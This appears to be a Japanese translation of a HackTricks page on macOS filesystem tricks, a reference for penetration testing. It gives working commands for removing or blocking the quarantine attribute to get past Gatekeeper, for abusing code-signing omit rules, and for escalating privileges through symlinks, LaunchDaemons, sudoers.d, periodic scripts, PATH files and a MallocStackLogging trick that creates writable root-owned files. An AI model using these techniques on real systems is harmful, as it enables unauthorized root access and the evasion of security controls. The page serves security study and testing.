macOS FS Tricks

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)を使って学ぶ!

HackTricksをサポートする他の方法:

POSIX権限の組み合わせ

ディレクトリの権限:

  • read - ディレクトリエントリを列挙できる

  • write - ディレクトリ内のファイルを削除/書き込みし、空のフォルダを削除できる。

  • ただし、書き込み権限がない限り、空でないフォルダを削除/変更することはできません。

  • フォルダの名前を変更することはできません。

  • execute - ディレクトリをトラバースすることが許可されています - この権限がない場合、そのディレクトリ内のファイルやサブディレクトリにアクセスできません。

危険な組み合わせ

rootが所有するファイル/フォルダを上書きする方法:

  • パス内の1つの親ディレクトリ所有者がユーザーである

  • パス内の1つの親ディレクトリ所有者書き込みアクセスを持つユーザーグループである

  • ユーザーグループがファイル書き込みアクセス権を持っている

前述のいずれかの組み合わせで、攻撃者は特権付きの任意の書き込みを取得するために期待されるパスにsym/hard linkを挿入することができます。

フォルダルート R+X 特殊ケース

rootだけがR+Xアクセス権を持つディレクトリにファイルがある場合、それらは他の誰にもアクセスできません。したがって、ユーザーが読み取り可能なファイル移動する脆弱性がある場合、その制限のために読み取ることができないファイルを、このフォルダから別のフォルダに移動することが悪用される可能性があります。

例: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

シンボリックリンク / ハードリンク

特権付きプロセスが制御可能なファイルにデータを書き込んでいる場合、または以前に低特権ユーザーによって作成されたファイルにデータを書き込んでいる場合、ユーザーはシンボリックリンクまたはハードリンクを介して別のファイルを指すことができ、特権付きプロセスはそのファイルに書き込みます。

攻撃者が特権を昇格させるために任意の書き込みを悪用できる場所を確認してください。

.fileloc

.fileloc 拡張子のファイルは、他のアプリケーションやバイナリを指すことができるため、それらを開くと、そのアプリケーション/バイナリが実行されます。 例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>

任意のFD

プロセスに高い権限でファイルまたはフォルダを開かせることができれば、**crontab**を悪用してEDITOR=exploit.py/etc/sudoers.d内のファイルを開くようにし、exploit.py/etc/sudoers内のファイルに対するFDを取得して悪用することができます。

例: https://youtu.be/f1HA5QhLQ7Y?t=21098

クォータンティンxattrsトリックを回避する

削除

xattr -d com.apple.quarantine /path/to/file_or_app

uchg / uchange / uimmutable フラグ

ファイル/フォルダにこの不変属性がある場合、その上に xattr を配置することはできません。

echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

defvfs マウント

devfs マウントは xattr をサポートしていません Fame in CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

このACLは、ファイルにxattrsを追加することを防ぎます。

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

AppleDoubleファイル形式は、ACEを含むファイルをコピーします。

ソースコードでは、xattrとして保存されているACLテキスト表現である**com.apple.acl.text**が、展開されたファイルのACLとして設定されることがわかります。したがって、ACLを持つzipファイルにアプリケーションを圧縮し、他のxattrの書き込みを防止するACLを設定した場合、quarantine xattrはアプリケーションに設定されませんでした:

詳細については、元のレポートを参照してください。

これを再現するには、まず正しいACL文字列を取得する必要があります:

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(これが機能する場合でも、サンドボックスはquarantine xattrを書き込みます)

実際には必要ありませんが、念のため残しておきます:

pagemacOS xattr-acls extra stuff

コード署名のバイパス

バンドルには、_CodeSignature/CodeResources というファイルが含まれており、バンドル内のすべてのファイルハッシュが含まれています。 CodeResourcesのハッシュは実行可能ファイルにも埋め込まれているため、それをいじることはできません。

ただし、一部のファイルの署名はチェックされません。これらはplist内でomitというキーを持っています。

<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

次のコマンドを使用して、リソースの署名を計算することができます:

openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

通常、macOSはcom.apple.DiskArbitration.diskarbitrationd Machサービス(/usr/libexec/diskarbitrationdで提供)と通信してディスクをマウントします。LaunchDaemonsのplistファイルに-dパラメータを追加して再起動すると、/var/log/diskarbitrationd.logにログが保存されます。 ただし、hdikhdiutilなどのツールを使用して、com.apple.driver.DiskImages kextと直接通信することも可能です。

任意の書き込み

定期的なshスクリプト

スクリプトがシェルスクリプトとして解釈される場合、**/etc/periodic/daily/999.local**シェルスクリプトを上書きして、毎日トリガーされるようにすることができます。

次のコマンドでこのスクリプトの実行を偽装できます: sudo periodic daily

デーモン

/Library/LaunchDaemons/xyz.hacktricks.privesc.plistのような任意のLaunchDaemonを書き込み、任意のスクリプトを実行するplistを実行します:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Sudoers File

/etc/sudoers.d/ フォルダー内にファイルを作成して、sudo 権限を自分に付与することができます。

PATH files

/etc/paths ファイルは PATH 環境変数を設定する主要な場所の1つです。これを上書きするには root 権限が必要ですが、privileged process からスクリプトが full path なしでコマンドを実行 している場合、このファイルを変更して hijack することができるかもしれません。

PATH 環境変数に新しいフォルダーを読み込むために /etc/paths.d にファイルを書き込むこともできます。

Generate writable files as other users

これにより、私に書き込み可能な root に属するファイルが生成されます (code from here). これは特権昇格として機能するかもしれません。

DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

POSIX 共有メモリ

POSIX 共有メモリは、POSIX 互換のオペレーティングシステムでプロセスが共通のメモリ領域にアクセスできるようにすることで、他のプロセス間通信方法と比較して高速な通信を実現します。これには、shm_open()で共有メモリオブジェクトを作成またはオープンし、ftruncate()でサイズを設定し、mmap()を使用してプロセスのアドレス空間にマッピングすることが含まれます。プロセスはその後、このメモリ領域に直接読み書きできます。同時アクセスを管理しデータの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスはmunmap()close()を使用して共有メモリをアンマップおよびクローズし、オプションでshm_unlink()を使用してメモリオブジェクトを削除します。このシステムは、複数のプロセスが共有データに迅速にアクセスする必要がある環境で効率的で高速なIPCに特に効果的です。

プロデューサーのコード例

```c // gcc producer.c -o producer -lrt #include #include #include #include #include #include

int main() { const char *name = "/my_shared_memory"; const int SIZE = 4096; // Size of the shared memory object

// Create the shared memory object int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666); if (shm_fd == -1) { perror("shm_open"); return EXIT_FAILURE; }

// Configure the size of the shared memory object if (ftruncate(shm_fd, SIZE) == -1) { perror("ftruncate"); return EXIT_FAILURE; }

// Memory map the shared memory void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0); if (ptr == MAP_FAILED) { perror("mmap"); return EXIT_FAILURE; }

// Write to the shared memory sprintf(ptr, "Hello from Producer!");

// Unmap and close, but do not unlink munmap(ptr, SIZE); close(shm_fd);

return 0; }

</details>

<details>

<summary>コンシューマーコードの例</summary>
```c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object

// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}

// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}

// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);

// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink

return 0;
}

macOS Guarded Descriptors

macOSガードディスクリプタは、macOSに導入されたセキュリティ機能で、ユーザーアプリケーションにおけるファイルディスクリプタ操作の安全性と信頼性を向上させるためのものです。これらのガードディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、それらはカーネルによって強制されます。

この機能は、不正なファイルアクセス競合状態などの特定のセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、たとえばスレッドがファイル記述にアクセスしている際に別の脆弱なスレッドにアクセス権限を与える場合や、ファイルディスクリプタが脆弱な子プロセスに継承される場合に発生します。この機能に関連するいくつかの関数は次のとおりです:

  • guarded_open_np: ガード付きでFDを開く

  • guarded_close_np: 閉じる

  • change_fdguard_np: ディスクリプタのガードフラグを変更する(ガード保護を削除することも可能)

参考文献

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated